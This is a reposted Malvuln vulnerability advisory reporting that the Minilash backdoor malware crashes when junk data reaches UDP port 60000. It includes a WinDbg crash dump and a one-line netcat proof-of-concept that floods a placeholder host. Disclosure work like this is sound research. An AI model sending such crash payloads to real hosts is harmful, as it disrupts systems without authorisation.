

## Backdoor.Win32.Minilash.10.b Denial Of Service (/khalil.shtml/it-highlights/latest-vulnerabilities-and-ex)

Of

Hits

v  
B  
v

(c  
O  
C  
M



Original source: <https://malvuln.com/advisory/3c407448a00b2d53b2418f53b66d5b6b.txt>

Contact: [malvuln13@gmail.com](mailto:malvuln13@gmail.com)

Media: [twitter.com/malvuln](https://twitter.com/malvuln)

Threat: Backdoor.Win32.Minilash.10.b

Vulnerability: Remote Denial of Service (UDP Datagram)

Description: The Minilash malware listens on TCP 6711 and UDP port 60000. Third-party attackers who can reach infected systems can send a specially crafted junk payload to UDP port 60000 that results in access violation and crash.

Type: PE32

MD5: 3c407448a00b2d53b2418f53b66d5b6b

Vuln ID: MVID-2021-0344

Disclosure: 09/20/2021

Memory Dump:

(1518.115c): Access violation - code c0000005 (first/second chance not available)

eax=000a1068 ebx=000a1038 ecx=004661bc edx=000a1068 esi=000a1190 edi=00000000

eip=776a9fa2 esp=000a1000 ebp=000a1030 iopl=0 nv up ei pl zr na pe nc

cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246

```
ntdll!RtlAcquireSRWLockShared+0x2:
776a9fa2 55 push ebp

0:000> .ecxr
eax=000a1068 ebx=000a1038 ecx=004661bc edx=000a1068 esi=000a1190 edi=00000000
eip=776a9fa2 esp=000a1000 ebp=000a1030 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
ntdll!RtlAcquireSRWLockShared+0x2:
776a9fa2 55 push ebp
```

```
0:000> !analyze -v
*****
* *
* Exception Analysis *
* *
*****
```

```
FAULTING_IP:
KERNELBASE!RaiseException+62
762d08f2 8b4c2454 mov ecx,dword ptr [esp+54h]
```

```
EXCEPTION_RECORD: 0019f780 -- (.exr 0x19f780)
ExceptionAddress: 762d08f2 (KERNELBASE!RaiseException+0x00000062)
ExceptionCode: 0eedfade
ExceptionFlags: 00000003
NumberParameters: 7
Parameter[0]: 004104b3
Parameter[1]: 0420c5a4
Parameter[2]: ffffffff
Parameter[3]: 0040d310
Parameter[4]: 041e77e8
Parameter[5]: 0019fd0c
Parameter[6]: 0019fcc0
```

```
PROCESS_NAME: Backdoor.Win32.Minilash.10.b.3c407448a00b2d53b2418f53b66d5b6b..exe
```

```
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
```

```
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
```

```
EXCEPTION_PARAMETER1: 00000001
```

```
EXCEPTION_PARAMETER2: 000a0ffc
```

```
WRITE_ADDRESS: 000a0ffc
```

```
FOLLOWUP_IP:
KERNELBASE!RaiseException+0
762d0890 8bff mov edi,edi
```

```
MOD_LIST: <ANALYSIS/>
```

```
NTGLOBALFLAG: 0
```

```
APPLICATION_VERIFIER_FLAGS: 0
```

```
CONTEXT: 0019f7d0 -- (.cxr 0x19f7d0)
eax=0019fc30 ebx=ffffffff ecx=00000007 edx=00000000 esi=0040d310 edi=041e77e8
```

eip=762d08f2 esp=0019fc30 ebp=0019fc8c iopl=0 nv up ei pl nz ac pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216  
KERNELBASE!RaiseException+0x62:  
762d08f2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:0019fc84=cb93ef1f  
Resetting default scope

ADDITIONAL\_DEBUG\_TEXT: Followup set based on attribute [Is\_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO\_THREAD]

LAST\_CONTROL\_TRANSFER: from 0045462e to 762d08f2

FAULTING\_THREAD: ffffffff

BUGCHECK\_STR: APPLICATION\_FAULT\_INVALID\_STACK\_ACCESS\_INVALID\_POINTER\_WRITE\_EXPLOITABLE\_FILL\_PATTERN\_ffffff

PRIMARY\_PROBLEM\_CLASS: INVALID\_STACK\_ACCESS\_EXPLOITABLE\_FILL\_PATTERN\_ffffff

DEFAULT\_BUCKET\_ID: INVALID\_STACK\_ACCESS\_EXPLOITABLE\_FILL\_PATTERN\_ffffff

STACK\_TEXT:  
0019fc30 762d08f2 kernelbase!RaiseException+0x62  
0019fd14 0045462e backdoor\_win32\_minilash\_10\_b\_3c407448a00b2d53b2418f53b66d5b6b\_+0x5462e  
0019fd6c 0045454d backdoor\_win32\_minilash\_10\_b\_3c407448a00b2d53b2418f53b66d5b6b\_+0x5454d  
0019fd88 76ebe0bb user32!\_InternalCallWinProc+0x2b  
0019fdb4 76ec8849 user32!InternalCallWinProc+0x20  
0019fdd8 76ecb145 user32!UserCallWinProcCheckWow+0x1be  
0019fea8 76eb90dc user32!DispatchMessageWorker+0x4ac  
0019ff14 76eb38c0 user32!DispatchMessageA+0x10  
0019ff1c 00446400 backdoor\_win32\_minilash\_10\_b\_3c407448a00b2d53b2418f53b66d5b6b\_+0x46400  
0019ff70 004669b3 backdoor\_win32\_minilash\_10\_b\_3c407448a00b2d53b2418f53b66d5b6b\_+0x669b3  
0019ff88 74118654 kernel32!BaseThreadInitThunk+0x24  
0019ff9c 776c4a77 ntdll!\_\_RtlUserThreadStart+0x2f  
0019ffe4 776c4a47 ntdll!\_RtlUserThreadStart+0x1b

SYMBOL\_NAME: kernelbase!RaiseException+0

FOLLOWUP\_NAME: MachineOwner

MODULE\_NAME: KERNELBASE

IMAGE\_NAME: KERNELBASE.dll

DEBUG\_FLR\_IMAGE\_TIMESTAMP: 0

STACK\_COMMAND: .cxr 000000000019F7D0 ; kb ; dds 19fc30 ; kb

FAILURE\_BUCKET\_ID: INVALID\_STACK\_ACCESS\_EXPLOITABLE\_FILL\_PATTERN\_ffffff\_c0000005\_KERNELBASE.dll!RaiseException

BUCKET\_ID:  
APPLICATION\_FAULT\_INVALID\_STACK\_ACCESS\_INVALID\_POINTER\_WRITE\_EXPLOITABLE\_FILL\_PATTERN\_ffffff\_kernelbase!RaiseException+0

Exploit/PoC:  
python -c "print('A'\*10000)" | nc64.exe x.x.x.x -u -c 60000

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given.  
Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not

responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

**PREV (/KHALIL.SHTML/IT-HIGHLIGHTS/LATEST-VULNERABILITIES-AND-EXPLOITS/38377-MANAGEENGINE-OPMANAGER-SUMPDU-JAVA-DESERIALIZATION.HTML)**

**NEXT (/KHALIL.SHTML/IT-HIGHLIGHTS/LATEST-VULNERABILITIES-AND-EXPLOITS/38376-OPENCATS-0.9.4-XML-INJECTION.HTML)**

Share your comment publicly

**cial Media Applications .. CLICK HERE**

social\_applications)

Giveaway, Instagram Giveaway, Facebook Giveaway, Youtube and Facebook Free apps and more...CLICK HERE